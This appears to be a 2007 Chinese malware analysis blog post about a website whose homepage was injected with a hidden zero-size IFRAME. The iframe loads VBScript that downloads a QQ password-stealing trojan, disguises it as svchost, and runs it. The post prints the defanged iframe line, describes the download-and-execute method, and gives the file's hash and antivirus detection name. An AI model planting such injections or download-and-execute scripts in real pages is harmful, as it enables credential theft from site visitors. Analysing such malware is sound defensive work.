一个被加入下载QQ盗号木马Trojan.PSW.QQPass.rie代码的网站

endurer 原创

2007-01-30 第1版

该网站首页被加入代码：
/-------
＜IFRAME src="hxxp://***.v**1*8***0.net/qq/" frameBorder=0 width=0 height=0＞＜/IFRAME＞
-------/

打开该URL，没有显示内容，但网页中的VBScript代码会利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下载文件 qq.exe，保存为 %temp%/svchost.exe 和 %temp%/svchost.vbs，然后利用Shell.Application 对象Q 的 ShellExecute 方法 来运行。

qq.exe 采用 UPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo 加壳。
/-------
文件说明符 : D:/test/qq.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2007-1-30 20:28:33
修改时间 : 2007-1-30 20:28:33
访问时间 : 2007-1-30 20:32:49
大小 : 33182 字节 32.414 KB
MD5 : 2cb2c796f777cff18ed2bfcf06abad61
-------/

瑞星报为：Trojan.PSW.QQPass.rie
瑞星升级报告：19.06.21版新增337个可查杀病毒
http://it.rising.com.cn/Channels/Anti_Virus/Upgrade_Report/2007-01-17/1169011706d39989.shtml
第19位。